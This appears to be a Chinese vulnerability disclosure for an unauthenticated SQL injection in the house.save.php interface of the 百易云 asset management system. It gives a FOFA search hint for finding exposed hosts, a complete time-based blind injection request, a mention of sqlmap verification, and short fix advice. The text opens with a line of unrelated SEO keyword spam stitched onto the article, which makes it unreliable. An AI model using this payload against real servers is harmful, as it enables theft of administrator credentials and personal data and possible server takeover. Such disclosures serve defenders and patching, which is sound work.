有域名就可以做网站么,学服装设计有前途吗,个人注册域名网站怎么做,分类网站上怎么做锚文本1 产品简介
百易云资产管理运营系统#xff0c;是专门针对企业不动产资产管理和运营需求而设计的一套综合解决方案。该系统能够覆盖资产的全生命周期管理#xff0c;包括资产的登记、盘点、评估、处置等多个环节#xff0c;同时提供强大的运营分析功能#xff0c;帮助企业…1 产品简介
百易云资产管理运营系统是专门针对企业不动产资产管理和运营需求而设计的一套综合解决方案。该系统能够覆盖资产的全生命周期管理包括资产的登记、盘点、评估、处置等多个环节同时提供强大的运营分析功能帮助企业优化资产配置提升运营效率。
2 漏洞概述 百易云资产管理运营系统 house.save.php 接口存在SQL注入漏洞未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息例如管理员后台密码、站点的用户个人信息之外甚至在高权限的情况可向服务器中写入木马进一步获取服务器系统权限。
3 复现环境
FOFA
body不要着急点此 4 漏洞复现
poc
GET /adminx/house.save.php?project_id1%20AND%20(SELECT%206941%20FROM%20(SELECT(SLEEP(5)))OKTO) HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2
Accept: application/json, text/javascript, */*; q0.01
Accept-Encoding: gzip, deflate
Connection: keep-alive sqlmap验证 5 修复建议
关闭互联网暴露面或接口设置访问权限
升级至安全版本
